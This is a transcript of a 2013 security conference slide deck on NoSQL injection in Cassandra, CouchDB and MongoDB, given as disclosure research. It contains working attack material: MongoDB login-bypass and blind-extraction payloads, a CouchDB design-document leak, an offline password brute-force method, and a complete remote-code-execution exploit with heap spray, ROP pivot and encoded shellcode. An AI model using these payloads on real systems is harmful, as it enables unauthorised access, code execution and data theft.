StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

Post on 05-Dec-2014

672 views 1 download

description

La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...

Transcript of StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

No SQL injection but NoSQL Injection

NoSecurity or not ?

1

2

Plans

› What's/Why NoSQL ?

› Work in progress› Cassandra› CouchDB

› Mass pwnage...

3

NoSQL fashion way of life

› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster

4

NoSQL Hipsters

5

Cassandra

› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL

6

Cassandra › Let's find CQL injection› Cassandra model

› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns

› OR 1=1 ?

7

Cassandra › WHERE CONDITION

› No OR› No UNION› No subrequests› Term must be indexed

columns

8

To be continued...

9

CouchDB

› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based

10

CouchDB - RESTfull

› Use HTTP protocol only› GET, PUT, POST, DELETE...

› curl -X PUT http://localhost:5984/test/

› curl -X POST http://localhost:5984/test/ -H "Content-Type:

application/json" -d {name : 'value'}

› curl -X GET http://localhost:5984/test/_all_docs

› curl -X DELETE http://localhost:5984/test/

› CSRF ?› SOP protected

11

CouchDB - Javascript

› JSON documents

› Special _design documents› views› shows› lists› validate_doc_update

› All in JS› SSJI ?

12

CouchDB - SSJI

› No function rewriting› No variable leak

› _design leak

curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)

"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"

13

To be continued...

14

0day inside

15

mongoDB

› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based

16

mongoDB – Home Made Protocol› Bson based› Challenge response authentication

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

17

./src/mongo/client/dbclient.cpp

Nonce : e16fb6a8c31ac15aUser : agix

Key : 3f5c7a073c3fb54c96b860b7f397bfc7

18

mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))

Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›

› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key

Key : 3f5c7a073c3fb54c96b860b7f397bfc7›

19

mongoDB – Associative Array

› DatabaseCollections

Documents› Data manipulation with JSON array

› db.my_collection.insert({key_name:"value",my_array:[1,2,3],

my_assoc_array:{key1_name:"value",key2_name:"value"}})

› db.my_collection.find({key_name : "value"})

› Special KeyName : operator

20

mongoDB – operators

› Only on update and find query› Conditions

› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)

› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})

21

mongoDB –

22

mongoDB –

› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}

› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},

'pass' : {'$ne' : 'test'}}

23

mongoDB –

› Authentication bypass

› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :

'^a.*'}, 'pass' : {'$ne' : 'test'}}

24

mongoDB –

› $regex to get actual document leak› More leak ?

› $WHERE !

› $where=1==1&login[$exists]=test&pass[$exists]=test

25

mongoDB – Blind true/false based

› db.getCollectionNames().length

› db.getCollectionNames()[0][0]

› tojson(db.secret.find({},{_id:0})[0])[3]

26

mongoDB – What else› Check javascript methods on mongo website

› http://docs.mongodb.org/manual/reference/method/run/

› Let's check internal usage...

27

mongoDB – SSJI => RCE

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

28

./src/mongo/scripting/engine_spidermonkey.cpp

function apply() { [native code]}

function () { return nativeHelper.apply(run_, arguments);}

run

nativeHelper.apply

29

mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},

[])&login[$exists]=test&pass[$exists]=test

30

mongoDB – Exploitation

› JAVASCRIPT SERVER SIDE EXPLOIT !

› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass

› Not stack overflow› No stack control› EIP is not enough

31

mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})

32

mongoDB – Exploitation

› Land to the stack› PIVOT 1

› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null

byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control

33

mongoDB – Exploitation

› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed

› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !

34

mongoDB – Exploitation

› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !

35

mongoDB – Exploitation

› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit

36

The end

› Still mongo 0day \o/› A lot of work to do...

› NoSQL is not so bad !